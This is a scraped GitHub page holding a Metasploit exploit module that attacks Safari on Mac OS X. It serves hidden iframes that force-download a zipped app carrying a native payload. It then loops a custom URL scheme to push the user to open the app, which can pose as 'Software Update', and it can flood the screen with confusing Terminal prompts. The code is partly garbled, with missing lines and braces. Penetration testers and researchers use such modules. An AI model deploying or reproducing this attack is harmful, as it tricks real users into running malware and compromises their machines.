Skip to content
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
157 lines (143 sloc) 5.57 KB
# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserExploitServer
# Note: might be nicer to do this with mounted FTP share, since we can
# unmount after the attack and not leave a trace on user's machine.
def initialize(info = {})
'Name' => 'Safari User-Assisted Download and Run Attack',
'Description' => %q{
This module abuses some Safari functionality to force the download of a
zipped .app OSX application containing our payload. The app is then
invoked using a custom URL scheme. At this point, the user is presented
with Gatekeeper's prompt:
"APP_NAME" is an application downloaded from the internet. Are you sure you
want to open it?
If the user clicks "Open", the app and its payload are executed.
If the user has the "Only allow applications downloaded from Mac App Store
and identified developers (on by default on OS 10.8+), the user will see
an error dialog containing "can't be opened because it is from an unidentified
developer." To work around this issue, you will need to manually build and sign
an OSX app containing your payload with a custom URL handler called "openurl".
You can put newlines and unicode in your APP_NAME, although you must be careful not
to create a prompt that is too tall, or the user will not be able to click
the buttons, and will have to either logout or kill the CoreServicesUIAgent
'License' => MSF_LICENSE,
'Targets' =>
[ 'Mac OS X x86 (Native Payload)',
'Platform' => 'osx',
'Arch' => ARCH_X86,
[ 'Mac OS X x64 (Native Payload)',
'Platform' => 'osx',
'Arch' => ARCH_X64,
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 10 2014',
'Author' => [ 'joev' ],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::SAFARI,
:os_name => OperatingSystems::Match::MAC_OSX,
# On 10.6.8 (Safari 5.x), a dialog never appears unless the user
# has already manually launched the dropped exe
:ua_ver => lambda { |ver| ver.to_i != 5 }
register_options(['APP_NAME', [false, "The name of the app to display", "Software Update"]),'DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]),'LOOP', [false, "Continually display prompt until app is run", true]),'LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]),'CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]),'CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]),'SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"])
def on_request_exploit(cli, request, profile)
if request.uri =~ /\.zip/
print_status("Sending .zip containing app.")
seed = request.qstring['seed'].to_i
send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' })
# send initial HTML page
print_status("Sending #{}")
send_response_html(cli, generate_html)
def generate_html
<iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
<iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>
(function() {
var r = parseInt(Math.random() * 9999999);
if (#{datastore['SIGNED_APP'].present?}) r = '';
var f = document.getElementById('f');
var f2 = document.getElementById('f2');
f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r;
var go = function() { f.src = "openurl"+r+"://a"; };
if (#{datastore['LOOP']}) {
window.setInterval(go, #{datastore['LOOP_DELAY']});
}, #{datastore['DELAY']});
if (#{datastore['CONFUSE']}) {
var w = 0;
var ivl = window.setInterval(function(){
f2.src = 'ssh://ssh@ssh';
if (w++ > 200) clearInterval(ivl);
}, #{datastore['LOOP_DELAY']});
def app_zip(seed)
if datastore['SIGNED_APP'].present?
print_status "Zipping custom app bundle..."
zip =
plist_extra = %Q|
<string>Local File</string>
my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX])
:app_name => datastore['APP_NAME'],
:plist_extra => plist_extra
You can’t perform that action at this time.